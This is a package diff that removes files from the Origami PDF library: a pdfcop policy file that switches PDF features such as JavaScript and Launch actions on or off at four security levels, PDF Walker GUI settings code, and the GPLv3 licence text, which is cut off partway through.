diff -Nru origami-1.2.7/bin/config/pdfcop.conf.yml origami-1.2.7+really0.7.4/bin/config/pdfcop.conf.yml --- origami-1.2.7/bin/config/pdfcop.conf.yml 2011-05-25 14:40:34.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/config/pdfcop.conf.yml 1970-01-01 00:00:00.000000000 +0000 @@ -1,237 +0,0 @@ ---- -POLICY_NONE: - - # - # General features. - # - allowParserErrors: true - allowAttachments: true - allowEncryption: true - allowFormCalc: true - allowJSAtOpening: true - allowJS: true - allowAcroForms: true - allowXFAForms: true - - # - # Page annotations. - # - allowAnnotations: true - allow3DAnnotation: true - allowFileAttachmentAnnotation: true - allowMovieAnnotation: true - allowRichMediaAnnotation: true - allowScreenAnnotation: true - allowSoundAnnotation: true - - # - # PDF Actions. - # - allowChainedActions: true - allowOpenAction: true - allowGoTo3DAction: true - allowGoToAction: true - allowGoToEAction: true - allowGoToRAction: true - allowImportDataAction: true - allowJSAction: true - allowLaunchAction: true - allowMovieAction: true - allowNamedAction: true - allowRenditionAction: true - allowRichMediaAction: true - allowSoundAction: true - allowSubmitFormAction: true - allowURIAction: true - - # - # Stream filters. - # - allowASCII85Filter: true - allowASCIIHexFilter: true - allowCCITTFaxFilter: true - allowCryptFilter: true - allowDCTFilter: true - allowFlateFilter: true - allowJBIG2Filter: true - allowJPXFilter: true - allowLZWFilter: true - allowRunLengthFilter: true - -POLICY_STANDARD: - - # - # General features. - # - allowParserErrors: false - allowAttachments: false - allowAcroForms: true - allowEncryption: true - allowFormCalc: true - allowJS: true - allowJSAtOpening: false - allowXFAForms: true - - # - # Page annotations. - # - allowAnnotations: true - allow3DAnnotation: false - allowFileAttachmentAnnotation: false - allowMovieAnnotation: false - allowRichMediaAnnotation: false - allowScreenAnnotation: false - allowSoundAnnotation: false - - # - # PDF Actions. - # - allowChainedActions: true - allowOpenAction: true - allowGoTo3DAction: false - allowGoToAction: true - allowGoToEAction: false - allowGoToRAction: false - allowImportDataAction: false - allowJSAction: true - allowLaunchAction: false - allowMovieAction: false - allowNamedAction: false - allowRenditionAction: false - allowRichMediaAction: false - allowSoundAction: false - allowSubmitFormAction: true - allowURIAction: true - - # - # Stream filters. - # - allowASCII85Filter: false - allowASCIIHexFilter: false - allowCCITTFaxFilter: true - allowCryptFilter: true - allowDCTFilter: true - allowFlateFilter: true - allowJBIG2Filter: false - allowJPXFilter: false - allowLZWFilter: false - allowRunLengthFilter: false - -POLICY_STRONG: - - # - # General features. - # - allowParserErrors: false - allowAttachments: false - allowAcroForms: false - allowEncryption: true - allowFormCalc: true - allowJS: false - allowJSAtOpening: false - allowXFAForms: false - - # - # Page annotations. - # - allowAnnotations: true - allow3DAnnotation: false - allowFileAttachmentAnnotation: false - allowMovieAnnotation: false - allowRichMediaAnnotation: false - allowScreenAnnotation: false - allowSoundAnnotation: false - - # - # PDF Actions. - # - allowChainedActions: false - allowOpenAction: true - allowGoTo3DAction: false - allowGoToAction: true - allowGoToEAction: false - allowGoToRAction: false - allowImportDataAction: false - allowJSAction: false - allowLaunchAction: false - allowMovieAction: false - allowNamedAction: false - allowRenditionAction: false - allowRichMediaAction: false - allowSoundAction: false - allowSubmitFormAction: false - allowURIAction: true - - # - # Stream filters. - # - allowASCII85Filter: false - allowASCIIHexFilter: false - allowCCITTFaxFilter: false - allowCryptFilter: true - allowDCTFilter: true - allowFlateFilter: true - allowJBIG2Filter: false - allowJPXFilter: false - allowLZWFilter: false - allowRunLengthFilter: false - -POLICY_PARANOID: - - # - # General features. - # - allowParserErrors: false - allowAttachments: false - allowAcroForms: false - allowEncryption: false - allowFormCalc: false - allowJS: false - allowJSAtOpening: false - allowXFAForms: false - - # - # Page annotations. - # - allowAnnotations: true - allow3DAnnotation: false - allowFileAttachmentAnnotation: false - allowMovieAnnotation: false - allowRichMediaAnnotation: false - allowScreenAnnotation: false - allowSoundAnnotation: false - - # - # PDF Actions. - # - allowChainedActions: false - allowOpenAction: false - allowGoTo3DAction: false - allowGoToAction: true - allowGoToEAction: false - allowGoToRAction: false - allowImportDataAction: false - allowJSAction: false - allowLaunchAction: false - allowMovieAction: false - allowNamedAction: false - allowRenditionAction: false - allowRichMediaAction: false - allowSoundAction: false - allowSubmitFormAction: false - allowURIAction: false - - # - # Stream filters. - # - allowASCII85Filter: false - allowASCIIHexFilter: false - allowCCITTFaxFilter: false - allowCryptFilter: false - allowDCTFilter: true - allowFlateFilter: true - allowJBIG2Filter: false - allowJPXFilter: false - allowLZWFilter: false - allowRunLengthFilter: false - diff -Nru origami-1.2.7/bin/gui/about.rb origami-1.2.7+really0.7.4/bin/gui/about.rb --- origami-1.2.7/bin/gui/about.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/about.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,46 +0,0 @@ -=begin - -= File - about.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -module PDFWalker - - class Walker < Window - - def about - - AboutDialog.show(self, - { - :name => "PDF Walker", - :program_name => "PDF Walker", - :version => Origami::VERSION, - :copyright => "Copyright (C) 2010\nGuillaume Delugre \nAll right reserved.", - :comments => "A graphical PDF parser front-end", - :license => File.read("#{File.dirname(__FILE__)}/COPYING") - }) - - end - - end - -end diff -Nru origami-1.2.7/bin/gui/config.rb origami-1.2.7+really0.7.4/bin/gui/config.rb --- origami-1.2.7/bin/gui/config.rb 2013-04-16 13:01:40.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/config.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,128 +0,0 @@ -=begin - -= File - config.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -require 'yaml' - -module PDFWalker - - class Walker < Window - - class Config - - DEFAULT_CONFIG_FILE = "#{File.expand_path("~")}/.pdfwalker.conf.yml" - DEFAULT_CONFIG = - { - "Debug" => - { - "Profiling" => false, - "ProfilingOutputDir" => "prof", - "Verbosity" => Parser::VERBOSE_INSANE, - "IgnoreFileHeader" => true - }, - - "UI" => - { - "LastOpenedDocuments" => [] - } - } - - NLOG_RECENT_FILES = 5 - - def initialize(configfile = DEFAULT_CONFIG_FILE) - - begin - @conf = YAML.load(File.open(configfile)) or DEFAULT_CONFIG - rescue Exception - ensure - @filename = configfile - set_missing_values - end - - end - - def last_opened_file(filepath) - @conf["UI"]['LastOpenedDocuments'].push(filepath).uniq! - @conf["UI"]['LastOpenedDocuments'].delete_at(0) while @conf["UI"]['LastOpenedDocuments'].size > NLOG_RECENT_FILES - - save - end - - def recent_files(n = NLOG_RECENT_FILES) - @conf["UI"]['LastOpenedDocuments'].last(n).reverse - end - - def set_profiling(bool) - @conf["Debug"]['Profiling'] = bool - save - end - - def profile? - @conf["Debug"]['Profiling'] - end - - def profile_output_dir - @conf["Debug"]['ProfilingOutputDir'] - end - - def set_ignore_header(bool) - @conf["Debug"]['IgnoreFileHeader'] = bool - save - end - - def ignore_header? - @conf["Debug"]['IgnoreFileHeader'] - end - - def set_verbosity(level) - @conf["Debug"]['Verbosity'] = level - save - end - - def verbosity - @conf["Debug"]['Verbosity'] - end - - def save - File.open(@filename, "w").write(@conf.to_yaml) - end - - private - - def set_missing_values - @conf ||= {} - - DEFAULT_CONFIG.each_key do |cat| - @conf[cat] = {} unless @conf.include?(cat) - - DEFAULT_CONFIG[cat].each_pair do |key, value| - @conf[cat][key] = value unless @conf[cat].include?(key) - end - end - end - end - - end - -end diff -Nru origami-1.2.7/bin/gui/COPYING origami-1.2.7+really0.7.4/bin/gui/COPYING --- origami-1.2.7/bin/gui/COPYING 2011-11-03 12:46:15.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/COPYING 1970-01-01 00:00:00.000000000 +0000 @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU 